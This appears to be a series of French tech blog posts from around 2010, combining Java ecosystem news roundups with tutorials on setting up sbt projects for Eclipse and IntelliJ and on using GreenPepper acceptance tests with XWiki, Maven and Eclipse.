Il est encore difficile de voir la pertinence de ce nouveau paradigme, l’Open PaaS, et si l’hétérogénéité des solutions ne va pas le rendre un peu creux. Mais au-delà de ça, la stratégie actuelle de VMWare semble être la captation des développeurs Java vers leurs outils et en particulier SpringSource Tool Suite.

App Engine For Business

Au-delà du partenariat avec VMWare et alors qu’aujourd’hui App Engine a encore une étiquette (un peu) de bricolage, Google a la volonté de percer dans les entreprises et d’ajouter tout un arsenal prompt à rassurer celles qui voudraient se lancer. D’où la nouvelle offre Google App Engine For Business qui s’articule autour de ces points:

• Administration centralisée : cette console permettrait de gérer, entre autres, plusieurs projets d’une même entreprise.
• Fiabilité et support : une garantie de SLA de 99.9% et support pour les utilisateurs.
• Sécurisation par défaut : l’application serait par défaut sécurisé par les comptes Google App de l’entreprise.
• Coût raisonnable : la plateforme serait disponible pour 8$ par utilisateur et par mois, plafonné à 1000$.
• une architecture plus orientée entreprise : utilisation du SSL à l’intérieur du domaine de l’entreprise, utilisation des services avancés de Google et surtout enfin accès à des bases SQL (c’était un des gros points noirs d’App Engine). Ces nouveautés seraient disponibles dans le courant de l’année.

Plus de détails ici.

WebM: enfin un standard vidéo libre ?

Le Google I/O a aussi été l’occasion pour le géant de faire une annonce que de nombreux partisans d’un internet ouvert espéraient depuis le rachat de la société On2. Jusqu’à présent, les formats vidéo « du futur » étaient d’un coté H264, et de l’autre Theora. H264, meilleur techniquement que Théora avait le gros désavantage de traîner derrière lui nombre de brevets. Le consortium gérant ce format avait déclaré ne pas désirer recevoir de royalties avant quelques années. Mais le format n’en restait pas moins propriétaire et l’épée de Damoclès des royalties était susceptible de s’abattre plus tard sur ses utilisateurs. Cette guerre commençait à devenir visible au niveau des navigateurs et de leur support de la balise video du HTML5. Pour rappel, la spécification de celle-ci n’impose aucun codec. Nous arrivions donc à une situation difficile où certains navigateurs ne supportaient que Theora (Firefox) et d’autres que le H264 (Safari). L’incertitude était de mise quant à préserver un web standardisé mais ouvert. C’est là que Google intervient en proposant un nouveau projet, WebM, et endosse son costume de sauveur du web.
Ce projet est destiné à développer un format vidéo libre. Techniquement, des fichiers WebM contiendront:

• de la vidéo au format VP8
• du son en Vorbis
• le tout dans un conteneur Matroska.

Certaines voix se sont d’ores et déjà élevées pour dénoncer le format VP8 pour diverses raisons, mais il y a fort à parier que ce codec soit celui que tout le web attendait, notamment pour utiliser la norme HTML5 sans soucis de compatibilité. Les versions de développement de Firefox et Chrome intègrent déjà le support de ce format, les mobiles Android devraient le faire avant la fin de l’année et Adobe, avec Flash, suivra aussi.

A coté de l’aspect technique, il nous semble intéressant de nous attarder sur la licence de WebM qui est assez singulière et participera à n’en pas douter à imposer WebM. L’un des problème de ce projet est que, malgré toutes les dispositions prises, il n’est pas certain qu’un bout de code quelque-part n’enfreigne pas un quelconque brevet… Or, la licence stipule, en gros, que quiconque intentera un procès au projet ou à ses utilisateurs devra cesser d’utiliser le projet lui-même. C’est un coup de génie: si WebM commence à s’imposer (ce dont nous ne doutons pas avec la puissance de feu de Google, Youtube…), alors les entreprises susceptibles de lui intenter un procès ne le pourront pas, car elles seront en même temps obligées de l’utiliser elle-mêmes pour ne pas pénaliser leurs propres utilisateurs. Impossible d’imaginer les utilisateurs d’Opera interdits de Youtube pour cause de format vidéo non supporté par exemple: ils auraient tôt fait de migrer vers un autre navigateur. Google tient donc peut être, avec WebM, le nouveau standard vidéo du Web. En tout cas, il entend bien l’imposer comme tel.

SOA

Les créateurs de jBPM chez Alfresco

Alfresco a annoncé son nouveau BPMS, Activiti, mené par le créateur de jBPM, Tom Baeyens, et de son ancien lead developer Joram Barrez, tous deux partis de chez JBoss il y a peu.

A l’instar de jBPM, Activiti est un BPMS léger, qui s’intègre facilement à nos applications Java. Il propose en plus, une console d’administration et un modeler graphique en ligne.

Par ailleurs, il s’appuie sur le standard BPMN 2.0, et bénéficie ainsi à la fois d’une sémantique d’exécution, ainsi que d’un modèle de représentation graphique. Cette décision marque bien le contraste avec le choix précédent des créateurs, lors du développement de jBPM, de s’appuyer sur un format propriétaire, jPDL.

L’éditeur de la célèbre solution ECM a toutefois annoncé qu’il continuerait le support de jBPM au sein de sa suite logicielle. Bonne nouvelle, pour les nombreux projets qui ont déjà investi dans la solution de jBoss.

On notera enfin que SpringSource annonce la collaboration de Dave Syer, project lead de Spring Batch, avec l’équipe d’Activiti. On devrait donc s’attendre à un prochain support de BPMN dans les applications Spring.

Le coin de la technique

MyBatis : un fork de iBatis chez Google Code

Alors que la version 3.0 d’iBatis a été finalisée il y a un mois après une longue période de gestation, une annonce majeure pour l’avenir du projet vient d’être diffusée sur son site. Le créateur d’iBatis, Clinton Begin, ainsi que plusieurs des principaux commiters ont décidé de créer un fork du projet en dehors de la fondation Apache.

Ce nouveau projet est baptisé MyBatis et est hébergé sur Google Code. Le projet iBatis d’origine est conservé au sein de la fondation, mais stoppé. Il devient donc un sous-projet d’Apache Attic qui regroupe les projets Apache dépréciés.

Clinton Begin clarifie les principales questions que l’on peut se poser suite à cette annonce :

• Les noms des packages ne changent pas, et la compatibilité ascendante est préservée avec le passage à MyBatis.
• Les branches 2.x et 3.x sont préservées dans MyBatis avec la disponibilité immédiate des versions 2.3.5 et 3.0.1.
• La licence est conservée.

Cette annonce est pour le moins inattendue mais dans la mesure où il s’agit d’un transfert de responsabilité plus que d’un fork, les ressources du projet ne seront pas divisées et son activité devrait donc être préservée.

JRuby 1.5.0

Avec un peu de retard, nous tenons quand même à signaler la sortie de JRuby en version 1.5.0. Cette version a été celle de la maturation du moteur. En terme de compatibilité avec le langage Ruby, très peu d’ajouts ont été faits. En revanche, beaucoup d’ajouts de stabilité, améliorations de l’utilisation mémoire, du support de Windows, support de Ruby On Rails version 3. Pour le détail : l’Annonce officielle.

L’astuce de la semaine

Nous inaugurons aujourd’hui une nouvelle rubrique qui est destinée à vous faire part brièvement de petites astuces qui, nous l’espérons, pourront vous être utiles. Et c’est le tout récent Eclipse MarketPlace qui honore cette nouvelle rubrique de sa présence. Pour rappel, le MarketPlace est le successeur de Eclipse Plugin Central (maintenant en fin de vie) et destiné à lui ajouter de nombreuses fonctionnalités.
Dans son post, Zviki Cohen nous apprend comment utiliser le MarketPlace pour créer des liste de plugins et les installer facilement. C’est une astuce qui peut être particulièrement intéressante lorsque l’on cherche à uniformiser les postes de développement par exemple: il suffit d’une URL pour ajouter à une installation d’Eclipse tous les plugins utilisés. C’est une alternative pratique à l’installation manuelle par chaque développeur qu’on retrouve souvent sur les projets.

(surtout les miens )

Nous allons ainsi entrevoir le mécanisme de plugin de sbt ainsi que l’application de plugins sur un projet sbt. Pour celles et ceux qui connaissent un minimum ces deux environnements de développement, rien de bien sorcier : ajouter une facet Scala au projet, définir certains répertoires en tant que répertoires sources, d’autres en tant que répertoires de tests, définir _lib_managed_ en tant que dossier de librairies… Il est donc tout à fait possible de faire tout ceci à la main en quelques minutes. L’idée ici est vraiment de jouer avec quelques plugins sbt et les intégrer à un projet existant.

Si vous êtes plutôt Emacs ou Vim, je vous renvoie sur le site de sbt pour la configuration à adopter.

Eclipse

Nous allons importer notre projet à l’aide du plugin SbtEclipsify. Ce plugin prend en charge la création de tous les fichiers nécessaires à Eclipse .project,.classpath…) afin que le projet soit importable et intégralement configuré. Il n’est actuellement disponible sur aucun repository, il va donc falloir soit télécharger le Jar et le déposer dans son repository local, soit récupérer le projet et utiliser sbt pour le compiler et le publier en local. Nous partirons sur ce deuxième choix (pour utiliser quelques petites commandes sbt).

Tout d’abord, nous allons récupérer le projet à l’aide de la commande git clone :

$ git clone http://github.com/musk/SbtEclipsify.git

Ensuite, nous allons démarrer sbt et faire un update pour mettre à jour toutes les dépendances du projet :

$ sbt
$ update

Nos dépendances étant à jour, nous allons pouvoir compiler et publier le projet à l’aide de la commande publish-local (image tronquée) :

$ publish-local

Maintenant que le Jar est disponible dans notre repository, nous allons pouvoir configurer notre projet avec cette nouvelle dépendance. Pour cela, créons le fichier project/plugins/Plugins.scala et ajoutons le plugin sbt-eclispsify :

import sbt._
 class MySbtProjectPlugins(info: ProjectInfo) extends PluginDefinition(info) {
       lazy val eclipse = "de.element34" % "sbt-eclipsify" % "0.5.2-SNAPSHOT"
 }

Dernière étape avant de tout builder : modifier notre fichier projet, dans la classe project/build/MyProject.scala, pour marquer notre projet en tant que projet eclipsifiable à l’aide du trait Eclipsify :

import sbt._
import de.element34.sbteclipsify._
class MyProject(info: ProjectInfo) extends DefaultProject(info) with Eclipsify {
   // ...
}

Voilà, tout est prêt, démarrons sbt et lançons la commande eclipse après avoir mis à jour nos dépendances pour notre projet (à l’aide de la commande update) :

$ sbt
$ update
$ eclipse

That’s all ! Il n’y a plus qu’à faire un import dans Eclipse de votre projet. A partir de maintenant, la commande eclipse ne devrait plus vous servir. Il faudra dès lors passer par reload lors de modifications concernant vos plugins ou vos dépendances pour mettre à jour votre contexte sbt et bien sûr update pour la mise à jour de vos dépendances.

A noter que d’autres plugins existent :

• sbt-eclipse-plugin : ce plugin n’est ni plus ni moins qu’un container de type classpath qui pointe vers le dossier lib_managed. L’outil fonctionne très bien mais les manipulations sont à effectuer à la main et aucune opération en ligne de commande (pour automatisation) n’est disponible pour l’instant. A surveiller donc ;
• IvyIDE (avec la procédure d’installation ici).

IntelliJ IDEA

Plusieurs plugins existent et, pour ma part, j’ai choisi le plugin sbt-idea-plugin. A noter que celui-ci fournit son propre repository maven donc pas de git clone sur le projet avec un publish-local comme pour SbtEclipsify. Tout se fait cette fois-ci très simplement !

Comme pour SbtEclipsify, le plugin fournit un trait qu’il faudra ajouter à sa classe projet qui lui permettra d’avoir la commande idea disponible dans le shell.

Il faut donc tout d’abord se rendre dans la classe project/plugins/Plugins.scala et ajouter ces quelques lignes. Elles ajouteront un repository distant et la dépendance du plugin :

val repo = "GH-pages repo" at "http://mpeltonen.github.com/maven/"
val idea = "com.github.mpeltonen" % "sbt-idea-plugin" % "0.1-SNAPSHOT"

Maintenant que notre plugin est prêt à l’emploi, nous allons l’ajouter dans la configuration de notre projet (toujours au niveau de project/build/MyProject.scala). Cela nous donne :

import sbt._
import de.element34.sbteclipsify._
class MainProject(info: ProjectInfo) extends ParentProject(info) with IdeaPlugin {
  lazy val myProject = project("myproject", "My Project", new DefaultProject(_) with IdeaPlugin)
   // ...
}

Grosse différence avec Eclipse : le plugin fonctionne par défaut, même si l’on a qu’un seul project, comme une arborescence de projets. Ainsi, nous aurons un projet parent composé de sous-projet(s). Pour utiliser ce plugin, nous allons donc (cf. code ci-dessus) créer un projet MainProject en tant que conteneur de projet en étendant ParentProject. Ensuite, nous créerons dans ce projet sbt un projet de type DefaultProject qui contiendra notre code ({{src/main/scala}}…).
Notez que les deux projets utilisent le trait IdeaPlugin. En effet, IntelliJ IDEA gère parfaitement l’arborescence de projets. Nous aurons donc les deux projets importés dans l’IDE avec la vue projets qui nous affichera le projet parent et notre projet.

A ce niveau, comme pour Eclipse, tout est prêt ! Donc un update et cette fois-ci un idea pour lancer le plugin :

$ sbt
$ update
$ idea

Et le résultat avec notre projet parent contenant notre sous-projet une fois importé dans IntelliJ IDEA (par le fichier .ipr) :

Les deux ?

Et si tout comme moi, cela vous arrive de switcher de l’un à l’autre selon votre humeur (tiens aujourd’hui j’ai envie de faire du Eclipse ), vous pourrez bien évidemment configurer votre projet pour qu’il accueille ces deux environnements de développement. La configuration finale sera un mix de ce que l’on a vu précédemment. En ne prenant pas le projet parent en tant que projet Eclipse (car il ne les gère pas très bien), cela nous donne tout simplement :

class MainProject(info: ProjectInfo) extends ParentProject(info) with IdeaPlugin {
   lazy val myProject = project("myproject", "My Project", new MyProject(_) with IdeaPlugin with Eclipsify)
   class MyProject(info: ProjectInfo) extends DefaultProject(info) {
      // Put here MyProject dependencies
   }
}

Cette configuration fonctionne out-of-the-box pour IntelliJ IDEA, par contre pour Eclipse un problème de build path subsiste. Il est directement lié à cette arborescence de projets (module / sous-module) qui n’est actuellement pas géré par le plugin :

Il faudra donc modifier à la main le build path de notre projet. Une fois celui-ci modifié, le projet sera opérationnel pour Eclipse et vous n’aurez plus qu’à faire des sbt update pour mettre à jour vos dépendances :

Dernière chose, entre la configuration pour avoir les deux plugins et celle d’IntelliJ IDEA standalone : notez la différence concernant le sous-projet MyProject avec non plus l’utilisation directe d’une nouvelle instance de DefaultProject mais la création et l’instanciation d’une nouvelle classe MyProject qui étend DefaultProject. Cela va nous permettre de définir des dépendances uniquement au niveau du sous-projet et ainsi ne pas tout mettre au niveau du projet parent. Il est dès lors possible d’ajouter plusieurs sous-projets à MainProject et ainsi se retrouver avec le même type d’arborescence de modules que l’on retrouve dans nos projets maven.

Vous pouvez toujours récupérer le petit projet scala-samples qui possède cette double configuration idea/eclipse.

Adepte de longue date de Fitnesse, j’ai toujours aimé l’aspect collaboratif du wiki permettant de sortir les tests du code et de les exposer à d’autres populations moins technique. Cependant, malgré le succès du projet et la grande communauté qui l’entoure, Fitnesse reste compliqué à mettre en place et certaines fonctionnalités de bases font cruellement défaut. De plus, le passage de Fit à Slim a fortement contribué à complexifier le projet.
Pour moi, Fitnesse est un projet passionnant et porteur de nombreuses innovations. Cependant, l’absence de structuration et le manque de documentation le rend très difficile à mettre en oeuvre et demande une réelle expérience. Je vous conseille tout de même de garder un oeil sur celui-ci, car, depuis l’année dernière, le projet est redevenu très dynamique (pas moins de sept releases) et semble gagner en maturité (je vous conseille notamment cet article sur les nouveautés).

J’ai plusieurs fois dans le passé eu l’occasion de voir des présentations de GreenPepper par les équipes de Pyxis. GreenPepper partage le même concept que Fit/Fitnesse mais a fait le choix de s’appuyer sur un Wiki existant robuste et mature : Confluence. Ce choix est un des gros atouts de GreenPepper, mais c’est aussi la raison qui m’a toujours fait écarter cette alternative. En effet, j’ai toujours trouvé difficile de promouvoir un logiciel en expliquant qu’il faudrait non pas acheter une mais deux licences (pour les entreprises non équipées en Confluence) et qu’il faudrait configurer et maintenir les deux logiciels.

Cependant, ce point de blocage a été adressé lors de la version 2.6 sortie en novembre 2009, qui permet désormais de pouvoir faire reposer GreenPepper sur XWiki qui est gratuit et open source.

Je vous propose donc de m’accompagner dans le test de cette nouvelle version au travers de cet article qui aborde :

• l’installation de GreenPepper et la configuration de XWiki,
• la création des premiers tests,
• la configuration de Maven et Eclipse pour GreenPepper,
• la création des fixtures,
• un petit retour d’expérience,
• mes espoirs pour le futur.

Avant de vous lancer dans la lecture de cet article, notez que celui-ci est purement technique et nullement philosophique. La présentation de l’ATDD (Acceptance Test Driven Development) ne sera pas abordée ici.

Installation de GreenPepper et configuration de XWiki

Pour ce test, je suis parti sur la version Standalone avec Jetty et HsqlDB embarqués. Téléchargement, unzip, start_xwiki.bat, c’est parti!

Je me connecte avec un login d’administrateur pour configurer GreenPepper (par défaut Admin/admin). Il faut noter qu’il n’y a pas de groupe de droits dédié pour GreenPepper, uniquement le groupe « greenpepper-users » destiné à identifier les utilisateurs autorisés pour la version avec licence.

Pour les besoins de ce test, je saisis un numéro de licence d’essai.

Puis je me crée un nouvel espace qui va accueillir les tests de mon application. Ici, un batch créé précédemment pour les besoins d’un XKE :

Et je définis mon espace comme un projet GreenPepper :

Création des premiers tests

Le wiki étant prêt, je peux passer à l’écriture de mes premiers tests. Pour cela, je commence par créer une page pour accueillir mon test :

Premier test

Pour mon premier test je vais tester le format do with qui correspond à un flow, voici mon test en format wiki :

|= import| fr.xebia.batch.fixture
Ce test va simplement lancer mon batch et m'afficher en couleur le résultat d'exécution :
|= do with|=xebian
|lancer le batch

Cependant, il est très agréable également d’utiliser l’éditeur WYSIWYG. Celui-ci fera plaisir au gens du métier qui n’aime en général pas trop la syntaxe Wiki :

Il existe des compléments dans fitnesse tels RichNesse pour avoir un éditeur graphique, mais cette alternative était assez buggée lors de ma dernière utilisation…

Second test

Pour ce deuxième test je vais essayer le format scenario. Ce format est assez révolutionnaire, et permet d’écrire une spécification de manière naturelle sans devoir découper dans un tableau le passage de variables. Pour récupérer dans le code les variables, on procèdera par des expressions régulières (voir plus bas).

{{greenpepper-import parameter="fr.xebia.batch.fixture"/}}
|= Scenario |= XebianScenario
|= lancer le batch xebia avec le fichier toto.xml
|= vérifier que les 2 affaires ont été créées

Les variables qu’il nous faudra récupérer sont « xebia », « toto.xml » et « 2″. A noter que j’ai utilisé ici la macro import. Son intérêt est de masquer le tableau contenant les imports de package. Ainsi notre page ne contient que des données métiers et aucune donnée technique :

Organisation des tests

Lorsque nous avons plusieurs tests, nous voulons pouvoir exécuter tous nos tests en un seul clic, ou bien tous les tests correspondants à une story donnée. Sous GreenPepper, on retrouve la notion de Suite existant dans Fitnesse. Pour faire ceci, j’ai trouvé deux macros différentes. Soit la macro children greenpepper-children expanded="true"/ qui va récupérer toutes les pages GreenPepper filles, soit la macro labels qui va récupérer toutes les pages d’un tag donné, par exemple : {{greenpepper-labels spaceKey="GreenPepper Batch" title="Batch" labels="Batch" expanded="true" openInSameWindow="true"/}}. Voici ce que donne nos deux macros :

Configuration de Maven et Eclipse

Configurer un projet java simple sous GreenPepper est trivial (tout comme sous Fitnesse). Il suffit d’utiliser le runner Java et de définir le chemin vers les jars que l’on teste, notre SUT (System Under Test), ainsi que le chemin vers nos fixtures (nos tests qui vont appeler notre SUT).

Maven

Le challenge pour moi, était de voir comment se comportait GreenPepper avec Maven. J’avais été très déçu par Fitnesse qui a pendant très longtemps dénigré Maven malgré sa popularité. S’il existe beaucoup de solutions pour intégrer Maven à Fitnesse, aucune ne fonctionne vraiment. Après m’être arraché les cheveux, j’avoue avoir fini par me faire ma propre solution ‘bancale’.

Pour intégrer Maven à GreenPepper, j’ai au final dû passer deux heures maximum (en me faisant aider par le forum cependant). A noter que l’intégration de Maven n’est pas parfaite, mais elle a le mérite d’être fonctionnelle. Elle se contente de chercher les <dependencies> définie dans le pom.xml.

Procédure d’installation (voir également la documentation) :

Copiez le jar du runner maven (à télécharger) dans le répertoire : greenpepper/maven/runner

Ajoutez un nouveau Runner :

• Command Line :

java -mx252m -cp ${classpaths} ${mainClass} ${inputPath} ${outputPath} -l ${locale} -r ${repository} -f ${fixtureFactory} --xml --pdd ${projectDependencyDescriptor}

• Main class : com.greenpepper.maven.runner.Main
• Environment : Java

• Ajoutez dans la partie classpath le runner maven ainsi que les jar de maven embedded :

greenpepper/maven/runner/greenpepper-maven-runner-2.7-complete.jar
C:\apache-maven-2.2.1\lib\maven-2.2.1-uber.jar
C:\apache-maven-2.2.1\boot\classworlds-1.1.jar

Ensuite, définissez votre SUT en renseignant le nouveau Runner Maven ainsi que le chemin vers le pom.xml (Project dependency descriptor) :

Attention 1 : Il ne faut pas renseigner les champs « System under test classpaths » et « fixture classpaths » qui rentrent en conflit avec la définition du pom.xml.
Attention 2 : De part l’utilisation de maven embedded, le fichier settings.xml de maven n’est pas utilisé. Il faut donc placer son dépôt local dans le répertoire par défaut (user/.m2/repository). Si cela vous pose problème, suivez l’évolution de la JIRA associée.

Et voilà, tout fonctionne correctement

Eclipse

Autre déception pour moi avec Fitnesse, son manque d’intégration avec nos IDE. Il existe quelques embryons de projets d’intégration de Fitnesse et Eclipse, mais je n’ai jamais réussi à avoir quelque chose qui soit véritablement fonctionnel …

Voici ma procédure avec GreenPepper :

• Installer le plugin depuis l’update site : http://www.greenpeppersoftware.com/greenpepper-eclipse

• Configurer le plugin, dans windows => preferences :

Server’s context path : http://localhost:8080/xwiki/greenpepper/xmlrpc
Server’s XML RPC handler : greenpepper1

• GreenPepperiser le projet depuis le menu « GreenPepper ».

• Configurer le SUT dans les paramètres du projet (project->properties->GreenPepper).

Il y a beaucoup d’options, j’ai juste sélectionné dans la liste mon projet, mon SUT et renseigné un lien vers mon runner (C:\greenpepper-xwiki-enterprise-jetty-hsqldb-2.7\greenpepper\java\runner).

Après avoir fait ceci, mes tests remontent directement sous Eclipse et sont exécutables :

Création des fixtures

Après avoir écrit nos tests, il faut maintenant faire le lien avec le code que l’on souhaite tester en créant des fixtures.

• Test 1 (Do with):

Cette fixture, va être appelée par notre premier test défini plus tôt.

public class XebianFixture {
    public boolean lancerLeBatch(){
	//Exécute mon batch
	return "COMPLETED".equals(monBatch.getExitCode());
    }
 }

• Test 2 (Scenario):

Rajouter la dépendance vers GreenPepper dans le projet de fixtures pour avoir les annotations :

<dependency>
      <groupId>greenpepper-open</groupId>
      <artifactId>greenpepper-core</artifactId>
      <version>2.7</version>
  </dependency>
   <repositories>
      <repository>
	  <id>GreenPepper</id>
	  <name>GreenPepper</name>
	  <url>http://www.greenpeppersoftware.com/nexus/content/groups/public</url>
      </repository>
   </repositories>

Puis faire le lien avec notre code à tester :

public class XebianScenarioFixture {
	int resultingAffaire;
	@Given("lancer le batch (\\w+) avec le fichier (\\w+\\.xml)")
	public void launch(String batchName, String fileName){
		System.out.println(batchName);
		System.out.println(fileName);
		//Appeler notre batch et stocker le nombre d'affaire créées dans resultingAffaire
	}
	@Check("vérifier que les (\\d+) affaires ont été créées")
	public boolean verifyResult(int expectedAffaire){
		return expectedAffaire == resultingAffaire;
	}
}

On voit que le mode scénario apporte de nombreux avantages. Outre le fait de pouvoir écrire des tests de manière très naturelle, nos fixtures deviennent également beaucoup plus lisibles ! Les méthodes ne possèdent pas de noms à rallonge comme sous Fitnesse et, de plus, l’intention de la méthode est clairement exprimée par l’annotation (@Given, @When, @Then, @Check, …). Les arguments sont automatiquement mappés grâce aux expressions régulières qui restent relativement triviales à écrire. Si vous cherchez plus d’exemples, je vous propose un article sur le blog de GreenPepper. Mon seul bémol porte sur l’utilisation de l’annotation @Then que je n’ai pas encore bien compris, je lui préfère le @Check pour le moment.

Retour d’expérience

Vous aurez donc compris à la lecture de cet article que j’ai vraiment été conquis par GreenPepper. Au bout de seulement quelques heures je me sens à l’aise et pleinement prêt à l’utiliser.

Thomas, il y a un peu plus d’un an, parlait dans son article (que je vous encourage à lire) de certaines difficultés rencontrées lors de la mise en place de GreenPepper, dont notamment la documentation, Eclipse et Maven. Le produit a bien évolué depuis (3 releases en 2009) et je n’ai pas du tout rencontré ce genre de soucis. Au contraire, je trouve la documentation plutôt bonne ce qui compense l’absence de réelle communauté autour du projet (c’est exactement l’inverse avec Fitnesse).

Enfin, une note particulière sur le support : félicitations ! J’ai connu des supports payants totalement incompétents, dont je ne citerai pas les noms, qui se contentaient de vous recommander d’acheter la version supérieure. Ici, je n’ai pas déboursé un seul centime et j’ai eu des réponses pointues dans un délai variant de 10 minutes à quelques heures (et encore l’équipe de développement semble être au Canada). Un grand merci aux équipes de GreenPepper et plus particulièrement à François Denommée pour leur professionnalisme.

Futur

La version de GreenPepper sur XWiki est encore jeune (fin de l’année 2009) et certaines fonctionnalités ne sont encore présentes que dans la version confluence. On attend donc encore certaines fonctionnalités avec impatience (ce qui ne devrait pas tarder vu le dynamisme du produit).
Parmi celles-ci, j’en retiens trois particulièrement qui continueront de rendre ce produit indispensable :

• la notion de « tag as implemented » : le testeur ou la personne du métier rédige le cas de test, or celui-ci n’est pas exécutable tant que le développeur n’a pas créé la fixture associée.

Ce flag permet de marquer (directement depuis Eclipse) que le test est prêt à être exécuté.

• La macro historique d’exécution : cette macro permet de suivre l’évolution de l’exécution des tests dans le temps.
• La macro include : qui permet d’inclure une page de test dans un autre test. Cette fonctionnalité est très intéressante notamment dans le cas où on a une page qui contient l’initialisation de données communes à plusieurs tests.

Voilà, je vous laisse maintenant avec toutes les cartes en main pour essayer. Bons tests à vous (dans les 2 sens) !

Actualité éditeurs / SSII

• Restructurations en série dans la communauté Lucene
• Vers un vrai support de Git dans Eclipse ?

Le coin de la technique

• Bien débuter avec Cassandra
• Winstone : un conteneur de Servlet léger et oublié
• Akka 0.7 dans les bacs

Actualité éditeurs / SSII

Restructurations en série dans la communauté Lucene

Les projets liés à Apache Lucene ont connu ces dernières semaines de nombreuses restructurations. Il s’agit principalement de changements de statut :

• Les projets Lucene et Solr ont été regroupés. Concrètement les commiters de Lucene et de Solr auront désormais accès aux sources des deux projets et les décisions seront communes. De plus grandes synergies devraient donc en découler.

• Le projet Apache Tika – qui permet d’extraire du texte structuré depuis de nombreux formats de documents tels que PDF, Microsoft Office, OpenOffice, XML, HTML, RTF – va devenir un projet Apache top level et ne sera donc plus rattaché à Lucene comme c’est le cas aujourd’hui.

• Le projet Apache Mahout – dont le but très ambitieux est de rendre accessibles de nombreux algorithmes de Natural Language Processing et de Machine Learning – va devenir un projet Apache top level et ce malgré son jeune âge. Ce projet montre en effet une croissance très rapide qui justifie de le détacher de Lucene.

• Le projet Apache Nutch reste pour le moment rattaché à Lucene car il ne rassemble pas encore une communauté suffisamment large.

Depuis plusieurs années maintenant, le projet Lucene se comporte comme un incubateur de projets liés aux problématiques d’analyse de texte et de traitement distribué (Hadoop était précédemment rattaché à Nutch et donc à Lucene). Il constitue ainsi une très importante source d’innovation parmi les projets de la fondation Apache.

Vers un vrai support de Git dans Eclipse ?

A l’occasion de la conférence EclipseCon 2010, une première version publique 0.7.1 de EGit a été mise à disposition. Ce plugin Eclipse pour Git doit offrir un support complet du système de gestion de sources distribué développé par Linus Torvalds. EGit s’intègre naturellement avec le système de travail en équipe d’Eclipse et se base sur JGit, une librairie 100 % Java, pour s’interfacer avec Git.

Les SCM distribués font l’objet d’une attention croissante, mais tout reste encore à faire. Les SCM traditionnels tels que Subversion et CVS bénéficient en effet d’un support très complet dans les IDE et les outils de développements. Git, quant à lui, n’était jusqu’alors pas intégré correctement à Eclipse alors qu’IntelliJ offre déjà son support en standard. Le support pour NetBeans n’est quant à lui qu’expérimental actuellement.

Ce manque était probablement suffisamment gênant pour pousser la fondation Eclipse à créer le projet EGit en septembre dernier avec pour objectif une première version finale 1.0 dans le courant de l’année 2010. Parmi les contributeurs à ce projet on compte Google, SAP ou encore Redhat, ce qui montre l’aspect stratégique qu’une telle intégration présente.

On notera le choix délibéré de la fondation Eclipse de développer conjointement le plugin EGit et la librairie JGit pour s’interfacer à Java. Dans la mesure où l’arrivée de SVNKit, qui offrait un support 100 % Java pour Subversion, a largement contribué à l’adoption de Subversion par les utilisateurs Eclipse, on comprend cette décision.

Le coin de la technique

Bien débuter avec Cassandra

Lors de la dernière session du NoSQL User Group de Paris, Tim Anglade, présentait ses impressions sur la conférence NoSQL Live de Boston. Il en ressortait que l’intérêt parmi les bases de données NoSQL était clairement porté sur Cassandra sur lequel sont effectué les plus gros déploiements actuellement. A noter tout de même que HBase reste largement plébiscité car il permet des traitements MapReduce, ce que Cassandra ne permet pas.

L’attrait est donc grand pour le développeur d’expérimenter Cassandra afin d’étudier son comportement et les facilités d’intégration proposées. Malheureusement sa documentation reste encore incomplète et se compose d’un ensemble de pages wiki relativement décousues qu’il est délicat d’aborder rapidement.

Pour palier en partie ce manque, Ronald Mathies vient de poster une série d’articles (partie 1, 2, 3 et 4) contenant l’ensemble des informations nécessaires pour bien démarrer : installation et configuration de Cassandra, définition d’un modèle de données et création des colonnes, lectures et écritures, configuration de Thrift pour les invocations distantes.

Les lecteurs intéressés par la compréhension de ces technologies pourront également se tourner vers ce guide très complet d’Apache Thrift, la technologie RPC standard de Cassandra.

Winstone : un conteneur de Servlet léger et oublié

Depuis plusieurs années, les conteneurs de Servlet couramment utilisés sont Tomcat et Jetty et dans une moindre mesure Resin. Winstone se présente comme une alternative à ces serveurs en mettant en avant son extrême légèreté : son package Jar de base ne pèse que 170 Ko !

Ce projet a fait parler de lui ces dernières semaines après plusieurs années passées dans l’ignorance comme le montre les quelques 10.000 téléchargements qu’il a totalisé sur SourceForge en 4 ans.

Sa taille réduite ne l’empêche pas de proposer une implémentation de la spécification Servlet 2.5, une compilation des JSP avec Jasper ainsi que de nombreuses fonctionnalités appréciables et surprenantes dans un produit d’une telle taille :

• Intégration à Apache HTTP Server avec AJP
• Le support de JNDI permettant par exemple la définition de DataSources JDBC
• Le clustering possible par la présence d’une réplication de sessions
• La persistance des sessions entre les redémarrages ce qui est particulièrement utile en phase de développement

Les fonctionnalités sont clairement en retrait par rapport aux conteneurs de Servlet traditionnels mais l’auteur explique que son but est avant tout de proposer une solution très légère et facilement embarquable dans une application Java.

Akka 0.7 dans les bacs

Décidément, Jonas Bonér est très actif ! En effet, il n’aura fallu attendre qu’un mois et demi pour voir sortir une nouvelle version de son framework Akka (annonce faite via le Google Groups).

Au menu, on retrouve l’intégration d’Apache Camel et de Spring, diverses améliorations autour de l’objet Future (méthodes utilitaires telles que la méthode spéciale !!!), améliorations côté backend (pile transactionnelle redis-based) ainsi que plusieurs corrections diverses.

A noté qu’un planning plutôt chargé attend les développeurs avec entres autres la compatibilité de Akka avec Scala 2.8, l’intégration de JTA, l’amélioration de la supervision des acteurs ou bien encore l’ajout de patterns pour systèmes distribués. Téléchargement de cette version 0.7 ici.

Actualité éditeurs / SSII

• dm Server 2.0 transféré de SpringSource à Eclipse
• HornetQ 2.0, un véritable renouveau ?
• Nexus sous license GPL: Sonatype explique son choix

Agilité

• Le rôle des leaders dans une équipe agile

RIA

• Le nouveau jQuery est arrivé !
• Survol de la galaxie Flex.

Actualité éditeurs / SSII

dm Server 2.0 transféré de SpringSource à Eclipse

SpringSource annonce cette semaine la finalisation de dm Server 2.0. Il s’agit là d’une mise à jour importante qui agit principalement sur la réduction des nuisances causées au développeur de par la nature même d’OSGi. En effet, si beaucoup peuvent s’accorder sur le fait que la modularité dynamique peut constituer un intérêt sur de nombreux projets, c’est le coût en nuisances et en lourdeurs qui fait que cette solution n’est toujours pas très populaire au sein des applications d’entreprise. L’enjeu est donc crucial puisqu’il s’agit maintenant pour SpringSource de rendre attractif son serveur modulaire pour les entreprises. Un an et demi après le lancement du projet l’évolution de cette version 2.0 sera donc à suivre…

